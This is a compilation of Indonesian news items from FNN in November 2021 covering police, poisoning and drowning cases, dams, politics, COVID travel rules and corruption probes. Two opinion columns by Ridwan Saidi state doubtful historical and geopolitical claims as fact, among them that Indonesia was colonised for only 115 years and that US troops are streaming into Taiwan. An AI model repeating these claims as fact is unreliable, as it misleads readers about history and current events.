Korbrimob, memaparkan bagaimana implementasi Perkap Nomor 8 Tahun 2009 dan bagaimana penanganan unjuk rasa yang berakhir ricuh. Dalam FGD tersebut semua peserta secara aktif berdiskusi dan memberi masukan berdasarkan pengalaman mereka di lapangan. Hadir para mahasiswa STIK S1, S2, dan S3. Hadir pula perwakilan dari Biro Psikologi SSDM Polri, DivProram Polri, Asisten Losistik Polri, Itwasum Polri dan tamu undangan lainnya. Dari hasil diskusi ini, kata Benny, Kompolnas segera menyelesaikan penelitian dan memberikan rekomendasi bagi pimpinan Polri. "Kompolnas akan segera menyelesaikan penelitian ini dan kemudian akan membuat rekomendasi bagi pimpinan Polri untuk mencegah penyalahgunaan senjata api oleh anggota Polri," kata Benny. (sws, ant)

Korban Tewas Diracun di Magelang Jadi Empat Orang

Magelang, FNN - Korban tewas diduga diracun dengan minum air mengandung sianida yang diberikan IS (57) warga Desa Sutopati, Kajoran, Kabupaten Magelang, Jawa Tengah, bertambah satu sehingga menjadi empat orang. Kapolres Magelang AKBP Mochammad Sajarod Zakun di Magelang, Senin, menyebutkan korban keempat berinisial M (52), warga Desa Sutopati, Kecamatan Kajoran, Kabupaten Magelang. "Korban pembunuhan oleh tersangka ini ada empat orang. Dari keempat ini, tiga kejadian dengan waktu yang berbeda," katanya. Ia menyampaikan korban M adalah korban pertama dari tersangka IS yang terjadi pada tanggal 14 Mei 2020. "Pada tanggal 14 Mei 2020 sekitar pukul20.00 WIB, korban berpamitan kepada keluarganya untuk mendatangi tersangka dengan tujuan meminta didoakan uangnya agar tidak cepat habis atau berlipat ganda karena korban pada saat itu mengalami kesulitan keuangan," katanya. Ia menjelaskan bahwa saat mendatangi tersangka, korban membawa uang Rp3 juta dan oleh tersangka diberikan air yang dicampur racun sianida. Diduga dalam perjalanan pulang, korban minum air dalam bungkusan plastik dan ditemukan meninggal di pinggir jalan. Kasat Reskrim Polres Magelang AKP M. Alfan mengatakan bahwa korban ditemukan meninggal dunia tidak jauh dari rumah tersangka sekitar pukul 21.30 WIB. "Diduga korban meminum cairan tersebut yang diberikan tersangka dan ditemukan meninggal dunia sekitar pukul 21.30 di pinggir jalan, tidak jauh dari rumah tersangka," katanya Ia menyampaikan hingga saat ini ada empat orang korban. Dalam penyidikan, petugas telah melakukan pemeriksaan terhadap 20-an saksi. Kasus ini bermula dari pengungkapan kasus pembunuhan terhadap L (31) dan W (38), warga Dusun Marongan,Desa Sukomakmur, Kecamatan Kajoran, Kabupaten Magelang yang diduga meninggal karena diracun IS. Hasil pengembangan kasus ini, ternyata IS diduga juga melakukan pembunuhan dengan cara yang sama terhadap S(63) warga Desa Sumberrahayu, Kecamatan Moyudan, Kabupaten Sleman, Daerah Istimewa Yogyakarta pada tanggal 4 Desember 2020. (sws, ant)

Polres Ciamis Tetapkan Guru Tersangka 11 Siswa Tewas di Sungai

Ciamis, FNN - Kepolisian Resor (Polres) Ciamis menetapkan seorang guru sebagai tersangka dalam kasus 11 siswa yang tewas saat kegiatan sekolah menyusuri sungai di Kecamatan Cijeungjing, Kabupaten Ciamis, Jawa Barat. "Tersangka perempuan, beliau adalah yang bertanggung jawab dalam kegiatan itu, dia statusnya juga guru madrasah, dalam kegiatan dia ikut," kata Kepala Polres Ciamis AKBP Wahyu Broto Narsono saat jumpa pers penetapan tersangka kasus 11 siswa MTs yang tewas tenggelam, di Mapolres Ciamis, Senin. Ia menuturkan kepolisian sudah melakukan olah tempat kejadian perkara untuk menyelidiki kasus tersebut hingga menemukan adanya unsur pidana dalam kegiatan menyusuri Sungai Cileueur pada 15 Oktober 2021. Hasil penyelidikan itu, kata Kapolres, jajarannya menetapkan seorang tersangka yakni guru madrasah sebagai penanggung jawab dalam kegiatan tersebut. "Karena kami sudah temukan tindak pidananya, dengan satu tersangka, tersangka ini (inisial) R, bertugas sebagai penanggung jawab kegiatan," katanya pula. Dia mengungkapkan penanganan kasus tersebut dilakukan hati-hati, sehingga prosesnya cukup berlangsung lama dari mulai penyelidikan hingga statusnya naik menjadi penyidikan. "Proses agak lama karena ada prinsip kehati-hatian yang dilaksanakan dalam proses penyelidikan hingga masuk ke tahap penyidikan, sebab kejadian ini tidak diharapkan semua orang," katanya. Ia menjelaskan alasan lain menetapkan tersangka karena penanggung jawab kegiatan itu mengetahui risiko yang akan terjadi saat menyusuri sungai, namun di lapangan tidak menyiapkan peralatan keselamatan di sungai. "Kegiatan anak-anak susur sungai itu terjadwal, itu tidak diperhitungkan risikonya, dalam kegiatan juga tak tersedia alat keselamatan yang cukup," katanya lagi. Dia menyampaikan hasil penyelidikan itu telah mengamankan sejumlah barang bukti yakni surat keputusan pengangkatan tersangka sebagai guru di madrasah, surat pembagian tugas kepada tersangka, dan sertifikasi mitigasi tersangka. Tersangka dijerat Pasal 359 tentang kelalaian hingga menyebabkan orang lain meninggal dunia, dengan ancaman kurungan maksimal 5 tahun penjara. Terkait kondisi tersangka saat ini, kata Kapolres dalam keadaan sakit, sehingga diputuskan untuk tidak dilakukan penahanan dan ada jaminan dari sekolah bahwa tersangka tidak akan melarikan diri. "Sampai hari ini kami tidak melaksanakan penahanan, namun penetapan tersangka sudah kami laksanakan, kami juga melihat faktor psikologis," katanya pula. Sebelumnya, 150 siswa MTS Harapan Baru Ciamis mengikuti kegiatan di luar lingkungan sekolah, salah satu kegiatannya menyusuri Sungai Cileueur. Dalam kegiatan itu, dilaporkan 21 siswa-siswi terbawa hanyut arus sungai, sebanyak 10 orang selamat, dan 11 orang meninggal dunia. (sws, ant)

Menteri PUPR Minta 241 Bendungan Dikosongkan Antisipasi La Nina

Makassar, FNN - Menteri Pekerjaan Umum dan Perumahan Rakyat (PUPR), Basuki Hadimuljono menginstruksikan seluruh bendungan yang ada di Indonesia sebanyak 241 bendungan segara dikosongkan guna mengantisipasi dampak badai La Nina untuk menampung debit air di saat puncak musim penghujan. "Ada 231 bendungan yang ada, plus sembilan yang baru ini. Jadi total 241 bendungan yang besar itu akan kita akan kosongkan di titik yang terendah," kata Basuki disela kunjungan persiapan peresmian Bendungan Karalloe, Kabupaten Jeneponto, Sulawesi Selatan, Senin. Pengosongan bendungan-bendungan ini, kata Basuki, sudah termasuk sembilan bendungan baru yang diresmikan Presiden Joko Widodo sepanjang tahun 2021. Tujuan dari pengosongan debit air pada ratusan bendungan tersebut, lanjut dia, untuk mengantisipasi dampak La Nina yang dianggap sebagai badai ekstrem basah, diprediksi terjadi pada akhir tahun 2021 dan awal tahun 2022, sehingga dilakukan pengosongan semua bendungan untuk menampung debit air hujan serta mengendalikan banjir. "Supaya pada saat hujan maksimum masih bisa tertampung dan mengendalikan banjir di situ," ujarnya. Begitupun yang lainnya, seperti "walk through" atau tanggul-tanggul tanah yang ada. Misalnya, ada yang retak dan tipis segara perbaiki. Sisanya, akan siap disiagakan untuk memberikan bantuan. Sedangkan untuk Bendungan Karalloe yang akan diresmikan oleh Presiden Joko Widodo pada Selasa (23/11/2021), Basuki mengemukakan, proses peresmiannya akan langsung dilakukan pengosongan. Pengosongan tersebut diharapkan mampu mengurangi dampak banjir di Kabupaten Jeneponto hingga 49 persen. "Kita kosongkan termasuk besok dalam rangka peresmian bapak presiden sampai ke muka air rendah totalnya 29 juta meter kubik, ini sudah bisa mengurangi banjir 49 persen banjir di Jeneponto," paparnya menambahkan. (sws, ant)

Pulau Onrust 1619-1707 Markas VOC, Indonesia Dijajah Belanda 115 Tahun

Oleh Ridwan Saidi *) Litho pada photo di atas, Pulau Onrust tahun sebelum 1732. Tapi bekas kegiatannya masih ada. Diambil dari sumber de Geschiedenis van de VOC, 1732 VOC berkantor sejak 1619 s/d 1707. Mengapa mereka memilih Onrust? Pulau ini lebih dekat diakses dari Kamal Muara. Selain itu di pulau Kapal, nama lama Onrust, yang artinya tempat bersembunyi, banyak bangunan yang ditinggal begitu saja oleh orang Caucasia jauh sebelum Belanda datang. Saya suka arkaeolog karena mereka suka berjenaka. Misalnya bangunan-bangunan Onrust, kata arkaeolog, dibikin Belanda kemudian sebagian dijadikan asrama haji, entah sejak kapan. Begitu ujar arkaeolog kita. Arsitektur bangunan Onrust Caucasia unik. Mereka tinggalkan Onrust mungkin karena perilaku mereka tak diperkenan native, lalu terjadi konflik. Kenapa VOC tak ke pulau lain yang juga ada fasilitas misalnya Damar Besar atau pulau Edam. Edam bahasa Armenia resapan Rusia, artinya mercusuar. Nama ini mulai dipakai setelah mercusuar berdiri. Damar artinya portico atau kendal atau pintu masuk ke Kalapa. Pulau Damar Besar inhabitant island, VOC tidak boleh.masuk. VOC kemudian berkembang jadi pedagang bersenjata setelah berkantor di Stadhuis Batavia sejak 1707. Karena itu mereka bangkrut tahun 1799 karena boros dalam pengamanan dan gagal masuk bisnis emas. Era VOC bukan penjajahan. Stadhuis bukan gemeenteraad, cuma kantor Gubernur VOC, bukan pemerintahan. Mata uang logam yang diedarkan Perancis Daendels Indiés Batav masa edarnya sampai tahun 1826, itulah awal Nederlands Indie. Mereka dihajar Jepang 1941. Nederlands Indie bukan verlengstuk, kepanjangan, Koningen van Nederland, kerajaan Belanda. Gubernur Generaal tidak diangkat ratu tapi bentuk lain dari Heeren van Zeventeen. Badan baru itu komisarisnya empat orang. Tapi ini dianggap gemeente, pemerintah. Mereka berfungsi tahun 1826-1941. Indonesia dijajah 115 tahun, bukan 350 tahun seperti retorika Sukarno di alun-alun. Yang menjajah pun swasta Belanda. *) Budayawan

Haris Azhar Siap Hadapi Luhut Di Pengadilan

Jakarta, FNN - Direktur Lokataru Haris Azhar menyatakan siap menghadapi laporan dugaan pencemaran nama baik yang dilayangkan Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Pandjaitan di pengadilan. "Apakah saya siap ke pengadilan? Insya Allah kemanapun saya siap. Karena saya ngomong bukan berdasarkan 'ngelindur'," kata Haris Azhar di Polda Metro Jaya, Jakarta, Senin, 22 November 2021. Haris menegaskan, siap dan memiliki cukup bukti terkait unggahannya di kanal media sosial YouTube. Haris mengaku senang kasusnya dibawa hingga ke pengadilan sehingga dirinya mendapatkan kesempatan untuk membuka data-data yang dimilikinya kepada publik. "Kalau mau dibawa ke pengadilan saya rasa saya akan senang karena pengadilan itu forum resmi dan saya akan beberkan di forum resmi tersebut dokumen-dokumen saya, temuan-temuan saya," ujarnya, sebagaimana dikutip dari Antara. Luhut Binsar Pandjaitan melaporkan Haris Azhar dan Fatia Maulidiyanti lantaran beredarnya video berjudul "Ada Lord Luhut di Balik Relasi Ekonomi-Ops Militer Intan Jaya" yang diunggah melalui akun ​​​​​​Youtube milik Haris Azhar. Video tersebut membahas laporan sejumlah organisasi termasuk KontraS tentang bisnis para pejabat atau purnawirawan TNI di balik tambang emas atau rencana eksploitasi wilayah Intan Jaya, Papua. Laporan Luhut tersebut telah diterima dan terdaftar dengan nomor laporan polisi: STTLP/B/4702/IX/2021/SPKT/POLDA METRO JAYA tertanggal 22 September 2021. Polda Metro Jaya sebelumnya menjadwalkan agenda klarifikasi antara Luhut Binsar Pandjaitan dengan Direktur Lokataru Haris Azhar dan Koordinator KontraS Fatia Maulidiyanti pada, Senin, 15 November 2021. Namun Haris dan Fatia tidak hadir dalam agenda mediasi yang difasilitasi oleh Polda Metro Jaya tersebut. Dalam kesempatan itu, Luhut menegaskan, tidak ada lagi mediasi dalam kasus hukum terkait laporannya terhadap Haris Azhar dan Fatia Maulidiyanti. "Jadi kalau proses yang sudah selesai. Saya sudah menyampaikan saya pikir lebih bagus ketemu di pengadilan saja," ujar Luhut. (MD).

Jepang Pertimbangkan Lepas Cadangan Minyak

Tokyo, FNN- Jepang sedang mempertimbangkan pelepasan cadangan minyak negara setelah permintaan dari Amerika Serikat dalam upaya terkoordinasi guna memerangi kenaikan harga energi. Hal tersebut disampaikan kepada Reuters oleh tiga sumber pemerintah Jepang yang mengetahui kemungkinan rencana dari langkah yang belum pernah terjadi sebelumnya itu. Salah satu nara sumber mengatakan pemerintah Jepang sedang berencana untuk melepaskan porsi cadangan minyak yang melebihi jumlah minimum yang disyaratkan dalam suatu standar hukum negara itu. Hukum Jepang mengizinkan pelepasan cadangan minyak jika terjadi kelangkaan atau bencana alam, tetapi hukum itu tidak menyebutkan tentang pelepasan cadangan minyak sebagai upaya melawan kenaikan harga. "Kami tidak punya pilihan selain melakukan sesuatu setelah permintaan dari Amerika Serikat," kata salah satu sumber pemerintah Jepang kepada Reuters, sebagaimana dikutip dari Antara, Senin, 22 November 2021. Para sumber pemerintah Jepang itu menolak untuk disebut namanya karena rencana tersebut belum diumumkan. Pemerintah Jepang tidak pernah melepaskan cadangan minyak negaranya, sementara sejumlah perusahaan minyak telah melakukannya selama Perang Teluk 1991 dan setelah bencana gempa bumi dan tsunami pada 2011. Kepala Sekretaris Kabinet Jepang Hirokazu Matsuno, Senin, 22 November 2021 mengatakan, belum ada keputusan apa pun. Perdana Menteri Fumio Kishida pada Sabtu, 20 November 2021, mengatakan, pemerintah Jepang sedang dalam proses mempertimbangkan langkah-langkah yang dapat dilakukan secara legal. Pemerintahan Presiden Amerika Serikat Joe Biden membuat permintaan yang tidak biasa kepada beberapa negara konsumen minyak terbesar di dunia - termasuk China dan India - supaya mempertimbangkan melepaskan sejumlah minyak dari cadangan strategis mereka. Permintaan pemerintah AS itu disampaikan setelah anggota Organisasi Negara Pengekspor Minyak (OPEC) dan sekutunya berulang kali menolak permintaan mempercepat peningkatan produksi minyak mereka. Pemerintah Jepang telah menahan konsumsi minyak harian hingga senilai konsumsi 145 hari pada akhir September. Menurut data resmi, angka itu jauh di atas minimal 90 hari yang disyaratkan oleh undang-undang negara itu. Sedangkan cadangan minyak sektor swasta Jepang bernilai total konsumsi 90 hari, yang juga melebihi persyaratan minimal 70 hari berdasarkan undang-undang. (MD).

Edan! Kopral AD Pergi Tugas Sekolah, Istri Diselingkuhi Komandan

Jakarta, FNN - Cinta terlarang terjadi di sebuah pasukan TNI Angkatan Darat. Salah seorang perwira jatuh cinta pada istri anak buahnya. Perselingkuhan pun terjadi. Hubungan asmara haram itu diungkap Menteri Pertahanan Prabowo Subianto. Melalui buku biografinya ‘Kepemimpinan Militer: Catatan dari Pengalaman Letnan Jenderal TNI (Purn) Prabowo Subianto’, mantan Danjen Kopassus itu blak-blakan menuliskan secara khusus dalam Bab XII tentang Contoh-Contoh Pemimpin yang Tidak benar. ”Suatu saat di pasukan tertentu, saya tidak sebut namanya karena tidak enak, ada seorang perwira naksir istri seorang anak buahnya yang berpangkat kopral,” kata Prabowo, Sabtu (20/11/2021). Untuk memuluskan cinta itu, sang kopral pun dikirim tugas pendidikan Sekolah Calon Bintara (Secaba). Alhasil, oknum perwira itu leluasa menjalin cinta dengan istri sang kopral. Hal itu terjadi berbulan-bulan. Perwira yang merasa punya kuasa bahkan mengajak istri dari anak buahnya itu berjalan-jalan menggunakan mobil dinas. Ini tentu tak lazim dan melanggar aturan. Hubungan perselingkuhan ini pun tersebar ke mana-mana. Sampai suatu saat sang atasan mendapatkan laporan dan akhirnya menjatuhkan sanksi. Dilansir dari Sindonews, Prabowo menegaskan, tindakan oknum perwira itu sebagai kepemimpinan yang keliru. Perwira tersebut menggunakan wewenang yang ada padanya untuk mengirimkan anak buah sekolah, sehingga memudahkan dia berselingkuh. Menurut mantan Pangkostrad tersebut, tindakan perwira itu jelas meruntuhkan wibawa dan leadership dirinya. Tindakan itu jelas tidak patut ditiru. Selain perselingkuhan, Prabowo juga mencontohkan kepemimpinan militer lainnya yang tidak benar, yakni tentang komandan pasukan yang mau enak sendiri. Suatu ketika terjadi kontak tembak dengan musuh. Komandan pasukan yang memimpin grup itu lantas memanggil wakilnya. Ironisnya, wakil komandan itu diminta mengambil alih pasukan dan memimpin serbuan di sebuah bukit. Dalam pandangan Prabowo, sikap komandan itu sama sekali tak mencerminkan kepemimpinan militer yang baik. Semestinya, komandan berada di tengah-tengah anak buah, termasuk dalam pertempuran. Bukan tanpa alasan dia menceritakan kisah-kisah tersebut. Menurut abituren Akademi Militer 1974 ini ingin agar generasi muda tidak salah jalan. "Saudara-saudara, terutama mereka yang ingin menjadi pemimpin lapangan yang baik, saya ceritakan ini bukan untuk menjelekkan orang. Saya menceritakan ini untuk memberitahu kepada Saudara-Saudara sekalian agar menghindari dan tidak melakukan hal-hal seperti ini,” tutur Prabowo. (sws).

PHRI Cianjur Dukung Program Tidak Gelar Pesta Perayaan Tahun Baru

Cianjur, FNN - Perhimpunan Hotel Restoran Indonesia (PHRI) Cianjur, Jawa Barat, mendukung program pemerintah tidak akan menggelar pesta perayaan saat tahun baru dan natal, namun mereka berharap tidak ada pembatasan tingkat hunian dengan tetap memperhatikan prokes ketat. Ketua PHRI Cianjur, Nano Indra Praja saat dihubungi Senin, 22 November 2021, mengatakan selama pandemi, anggotanya sudah menjalankan semua program yang dilakukan pemerintah, termasuk membantu suksesnya vaksinasi di seluruh wilayah Cianjur dengan tema vaksinasi wisata. "Kita sudah menempuh semua aturan yang diberikan pemerintah, termasuk pelayanan bagi tamu yang sudah dapat menunjukkan barcode di situs Pedulilindungi. Kami berharap penerapan level 3 di seluruh wilayah, tidak dibarengi dengan pembatasan lain," katanya, sebagaimana dikutip dari Antara. Saat ini, ungkap dia, tingkat okupansi hotel anggota PHRI Cianjur, sudah kembali meningkat seiring penerapan batasan hanya dapat menerima tamu sebanyak 50 persen dari kapasitas dan harus menujukan surat bukti vaksinasi minimal dosis pertama. Bahkan saat awal pandemi, ketika tidak diizinkan beroperasi, seluruh hotel dan restoran di Cianjur, memenuhi aturan yang diterapkan pemerintah, termasuk menjelang natal dan tahu baru kali ini, aturan yang diterakan akan dipenuhi dengan catatan tidak ada pembatasan kunjungan. "Kita berharap tidak ada pembatasan kunjungan ke kawasan Puncak-Cianjur, agar perekonomian tetap berjalan dan sektor penunjang pariwisata tetap diizinkan beroperasi," katanya. Markom Manager Eminance Hotel Puncak-Cianjur, Rizky S, mengatakan menjelang natal dan tahun baru tingkat pemesanan hotel sudah mulai terlihat, namun tidak seperti tahun sebelum pandemi yang sudah mencapai 50 persen pada akhir bulan November. "Untuk saat ini, sudah mulai terlihat meski masih dalam hitungan puluhan pemesan. Kami akan tetap mematuhi larangan pemerintah, tidak ada pesta perayaan saat tahun baru atau natal. Bahkan tamu yang memesan kamar, sudah terdaftar dalam situs Pedulilindungi," katanya. (MD).

Polresta Malang Kota Tangani Kasus Penganiayaan Anak Di Bawah Umur

Malang, Jawa Timur, FNN - Kepolisian Resor Kota (Polresta) Malang Kota, Jawa Timur, tengah menangani kasus penganiayaan seorang anak yang dilakukan sejumlah rekannya di daerah ini. Kapolresta Malang Kota AKBP Budi Hermanto di Kota Malang, Senin, 22 November 2021, mengatakan bahwa video penganiayaan dan persekusi berdurasi 2 menit dan 29 detik yang beredar viral di media sosial memang terjadi di wilayah Kota Malang. "Iya (benar). Masih diminta keterangan," kata Budi saat dikonfirmasi ANTARA. Saat ini, kasus tersebut masih ditangani Tim Penyidik Polresta Malang Kota. Berdasarkan informasi yang dihimpun ANTARA, korban penganiayaan dan persekusi yang berjenis kelamin perempuan tersebut dilaporkan masih berusia kurang lebih 13 tahun. Dalam video yang tersebar, korban yang terlihat masih menggunakan baju seragam tersebut dianiaya sejumlah rekannya. Kejadian tersebut dilaporkan terjadi di wilayah Kecamatan Blimbing, Kota Malang, pada 18 November 2021. Sementara itu, kuasa hukum korban Leo Angga Permana saat dikonfirmasi menyatakan bahwa ia telah melaporkan kejadian penganiayaan tersebut ke Polresta Malang Kota pada 19 November 2021 atau satu hari setelah kejadian. Rencananya, ia akan mendampingi pihak keluarga untuk melaporkan kasus pencabulan yang dialami korban. Informasi yang diterima dari kuasa hukum sebelum korban dianiaya, ia diduga mengalami pencabulan di tempat kejadian perkara yang berbeda. "Kejadian pada 18 November 2021, ada dua TKP. Pertama pencabulan kemudian ada persekusi dari teman-temannya. Untuk laporan pertama sudah kami lakukan terkait kekerasan. Rencananya orang tua korban akan melapor terkait pencabulan dan pengeroyokan," ujarnya. Tim kuasa hukum telah menyerahkan barang bukti kepada penyidik Polresta Malang Kota berupa rekaman video kejadian penganiayaan dan persekusi. Korban juga telah menjalani visum yang dilakukan tim dokter. "Barang bukti yang kami serahkan video yang beredar. Visum sudah dilakukan oleh tim dokter, tapi hasilnya masih belum keluar," katanya. (MD).

KPK Minta Aparat Penegak Hukum Samakan Pemahaman Hindari Disparitas

Jakarta, FNN - Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Alexander Marwata meminta aparat penegak hukum (APH), yakni kejaksaan, kepolisian, dan auditor untuk menyamakan pemahaman terkait penanganan tindak pidana korupsi (tipikor). Alex mengatakan kesamaan pemahaman tersebut sangat penting agar tidak ada disparitas saat suatu perkara ditangani oleh aparat penegak hukum yang berbeda. "Banyak sekali disparitas yang mengganggu rasa keadilan. Perlu ada penyamaan pemahaman karena undang-undang dan peraturannya sama," kata Alex dalam keterangan yang diterima di Jakarta, Senin, 22 November 2021. Hal itu dikatakannya saat memberikan sambutan dan membuka "Pelatihan Bersama Peningkatan Kemampuan Aparat Penegak Hukum (APH) Dalam Penanganan Perkara Tindak Pidana Korupsi di Wilayah Hukum Provinsi Papua" yang digelar di Jayapura, Papua, Senin. Alex menceritakan saat ia menjadi hakim kerap melihat perbedaan dalam penanganan perkara korupsi oleh tiap aparat penegak hukum. Ia menjelaskan bahwa tujuan kegiatan pelatihan bersama aparat penegak hukum ini adalah salah satu wujud implementasi sinergi dari tugas koordinasi dan supervisi yang diamanatkan undang-undang kepada KPK. Dalam upaya pemberantasan korupsi, kata Alex, KPK telah menginisiasi sinergi dengan segenap instansi, yaitu membangun sistem SPDP "online" sebagai sistem pelaporan penanganan perkara tipikor melaksanakan kegiatan koordinasi dan supervisi penanganan perkara tipikor secara bersama-sama dengan perwakilan dari Bareskrim Polri dan Jampidsus Kejaksaan Agung RI. Kemudian, memberikan bantuan/fasilitasi kepada kejaksaan dan kepolisian dalam penanganan perkara tipikor yang mengalami hambatan dan melaksanakan pelatihan dalam rangka untuk meningkatkan kemampuan aparat penegak hukum di daerah. Ia mengharapkan forum pelatihan bersama akan menyamakan pola tindakan dalam penanganan tipikor agar tercipta keadilan bagi setiap pihak, termasuk mendorong penerapan pasal tindak pidana pencucian uang (TPPU) dalam penanganan perkara tipikor. "Tujuannya untuk memaksimalkan pengembalian kerugiaan keuangan negara dan merampas aset-aset dari hasil tipikor," kata Alex, sebagaimana dikutip dari Antara. Adapun pelatihan akan berlangsung selama empat hari dari 22 November-25 November 2021 dengan total 50 peserta terdiri atas 26 penyidik di Kepolisian Daerah Papua, 12 jaksa pada Kejaksaan Tinggi Papua serta masing-masing tiga auditor di Badan Pengawasan Keuangan dan Pembangunan (BPKP) Perwakilan Provinsi Papua, auditor di Badan Pemeriksa Keuangan (BPK) Perwakilan Provinsi Papua, auditor di Inspektorat Provinsi Papua, dan hakim di Pengadilan Tinggi Jayapura. Pelatihan bersama tersebut dilakukan sebagai bagian dari upaya untuk mengatasi berbagai kendala dalam penanganan perkara tipikor dan pengembalian kerugian keuangan negara khususnya di Provinsi Papua. Selama empat hari peserta akan diberikan materi pelatihan yang akan disampaikan oleh masing-masing narasumber di bidangnya, yaitu terkait hukum adat, TPPU, pengadaan barang, jasa, dan keuangan negara/daerah. Pelatihan bersama di Provinsi Papua merupakan pelatihan keempat yang dilaksanakan KPK pada 2021. Selain Papua, empat wilayah lainnya, yaitu Sulawesi Utara, Jawa Barat, Jawa Timur, dan Riau. (MD).

Dari Atas Kuburan Pantau Mandalika-Race

Oleh Ridwan Saidi *) SEMULA rakyat menonton Mandalika-race dari atas pohon. Meski tak sejalan dengan spirit of Glasgow, pohon-pohon lalu ditebangi. Rakyat tak pernah hilang akal, di sekitar sirkuit ada kuburan di ketinggian tertentu. Rakyat kemudian memantau dari titik ini. Asyik. What now my love? Gusur makam? Apa payung hukumnya? Masih soal payung hukum. MUI, LSM, dll mau diaudit pemerintah. Mana payung hukumnya? Bing Slamet dengan enteng kasih solusi dalam lagu hit dia 1950-an: Payung Fantasi. Ini sebagian liriknya: Lenggang mengorak Menarik hati serentak Ai ai siapa itu Wajah sembunyi Di balik payung fantasi Ai ai aku rindu Apakah perang perlu payung hukum? Sedikitnya protokoler bagi pihak-pihak yang bertikai harus bertemu. Joe Biden dan Jin Xi Ping telah bertemu. Yes, perang dapat dimulai. US Army sudah mengalir tiada henti ke Taiwan. Belun ada reaksi China. Soal Taiwan memang salah satu butir bahasan yang tak ada titik temu dalam temu virtual Biden-Jin Ping minggu lalu. For the time being, Taiwan menjadi negara proktetorat Amerika. China mau apa, one China policy mereka di-pijak-pijak menarik hati serentak. Sewaaktu,-waktu perang meletus dan imbasnya ke-mana-mana dan akan ke sini juga. Ayo deh ente Copras Capress. Siapa tahu bisa jadi orang BUMN. *) Budayawan

NTT Bebaskan Syarat Tes COVID-19 Pelaku Perjalanan yang Sudah divaksin

Kupang, FNN - Pemerintah Provinsi Nusa Tenggara Timur (NTT) membebaskan syarat pemeriksaan Covid-19 bagi pelaku perjalanan di dalam wilayah NTT yang sudah dua kali menerima vaksin Covid-19. "Pelaku perjalanan yang menggunakan moda transportasi udara, laut, dan penyeberangan di dalam wilayah NTT yang sudah dua kali menerima vaksin dibebaskan dari syarat uji usap Polymerase Chain Reaction (PCR) dan uji usap antigen, demikian Instruksi gubernur NTT yang disampaikan Kepala Dinas Perhubungan NTT, Isyak Nuka, di Kupang, Senin. Ia menjelaskan ketentuan itu diterbitkan pada Senin (22/11) setelah pemerintah provinsi memperhatikan dan mencermati tingginya kebutuhan masyarakat NTT akan pelayanan transportasi sebagai daerah yang berpulau-pulau. Selain itu meningkatnya upaya vaksinasi yang masif kepada masyarakat NTT yang berdampak signifikan kepada penurunan penyebaran Covid-19 di Indonesia, dan di NTT khususnya yang sebagian besar kabupaten/kota sudah berada pada PPKM tingkat 2. Ia menjelaskan bagi pelaku perjalanan dengan moda transportasi udara, laut, dan penyeberangan di dalam wilayah NTT yang baru satu kali menerima vaksin, masih diwajibkan menunjukkan hasil negatif uji usap antigen dengan sampel diambil dalam kurun waktu 1x24 jam sebelum keberangkatan. "Pelaku perjalanan tetap wajib mematuhi protokol kesehatan dan mengisi e.HAC Indonesia," katanya. "Selain itu pelaku pelaku perjalanan yang menggunakan moda transportasi darat antar kabupaten/kota di dalam wilayah NTT yang sudah menerima vaksin satu kali atau dua kali dibebaskan dari syarat uji usap antigen. Sedangkan yang belum menerima vaksin, diwajibkan menunjukkan hasil negatif uji usap antigen," katanya. Lebih lanjut Nuka menjelaskan bagi pelaku perjalanan dari luar yang masuk ke seluruh wilayah NTT dan baru satu kali divaksin maka wajib menunjukkan hasil negatif uji usap antigen. Sedangkan yang belum divaksin wajib menunjukkan hasil negatif uji usap PCR 3x24 jam sebelum keberangkatan. "Sementara pelaku perjalanan ke luar wilayah NTT mengikuti ketentuan dan persyaratan yang berlaku di daerah tujuan," katanya. (sws)

KPK Panggil 16 Saksi Terkait Kasus Bupati Hulu Sungai Utara

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Senin memanggl 16 saksi dalam penyidikan kasus dugaan suap terkait pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara, Kalimantan Selatan, tahun 2021-2022. "Hari ini, pemeriksaan saksi tindak pidana korupsi terkait pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara Kalsel tahun 2021-2022 untuk tersangka AW (Bupati Hulu Sungai Utara, Abdul Wahid). Pemeriksaan dilakukan di Polres Hulu Sungai Utara," kata Plt Juru Bicara KPK, Ali Fikri, dalam keterangannya di Jakarta, Senin. Enam belas saksi, yaitu Gusti Iskandar dari PT Khuripan Jaya, Erik Priyanto (kontraktor/Direktur PT Putera Dharma Raya), Khairil dari CV Aulia Putra, Kariansyah dari CV Khuripan Jaya, Akhmad Farhani dari PT CPN/PT Surya Sapta Tosantalina, Akhmad Syaiho selaku karyawan PT Cahya Purna Nusantara, Rohana selaku PNS pada Dinas PTSP dan Penanaman Modal Hulu Sungai Utara, Wahyuni dari swasta. Selanjutnya, Heri Wahyuni (pensiunan PNS/mantan Plt Kepala BKPP Hulu Sungai Utara), konsultan Pengawas Rehabilitasi Jaringan Irigasi DIR Banjang Desa Karias Dalam Kecamatan Banjang, Ratna Dewi Yanti, Kepala Seksi Penetapan Hak dan Pendaftaran pada BPN Kabupaten Amuntai, Muhammad Mathori, anggota DPRD Kabupaten Tabalong, Rini Irawanty, serta empat pihak swasta masing-masing Lukman Hakim, Anshari, Baihaqi Syazeli, dan Hidayatul Fitri. KPK pada Kamis (18/11) telah mengumumkan Wahid sebagai tersangka kasus dugaan suap dan gratifikasi. Penetapan Wahid sebagai tersangka merupakan pengembangan dari kasus yang menjerat Maliki (MK) selaku Plt Kepala Dinas Pekerjaan Umum, Penataan Ruang, dan Pertanahan Hulu Sungai Utara, Marhaini (MRH), dari pihak swasta/Direktur CV Hanamas, dan Fachriadi (FH) dari pihak swasta/Direktur CV Kalpataru. KPK menduga pemberian komitmen bagian yang diduga diterima Wahid melalui Maliki, yaitu dari Marhaini dan Fachriadi dengan jumlah sekitar Rp500 juta. Selain melalui perantaraan Maliki, Wahid juga diduga menerima komitmen bagian dari beberapa proyek lainnya melalui perantaraan beberapa pihak di Dinas PUPRP Kabupaten Hulu Sungai Utara, yaitu pada 2019 sekitar Rp4,6 miliar, pada 2020 sekitar Rp12 miliar, dan pada 2021 sekitar Rp1,8 miliar. Selain itu, selama proses penyidikan berlangsung, tim penyidik telah mengamankan sejumlah uang dalam bentuk tunai dengan pecahan mata uang rupiah dan juga mata uang asing yang hingga saat ini masih terus dilakukan penghitungan jumlahnya. (sws)

Aset Eks BLBI Rp492 M Dihibahkan ke Pemkot Bogor dan 7 Lembaga Negara

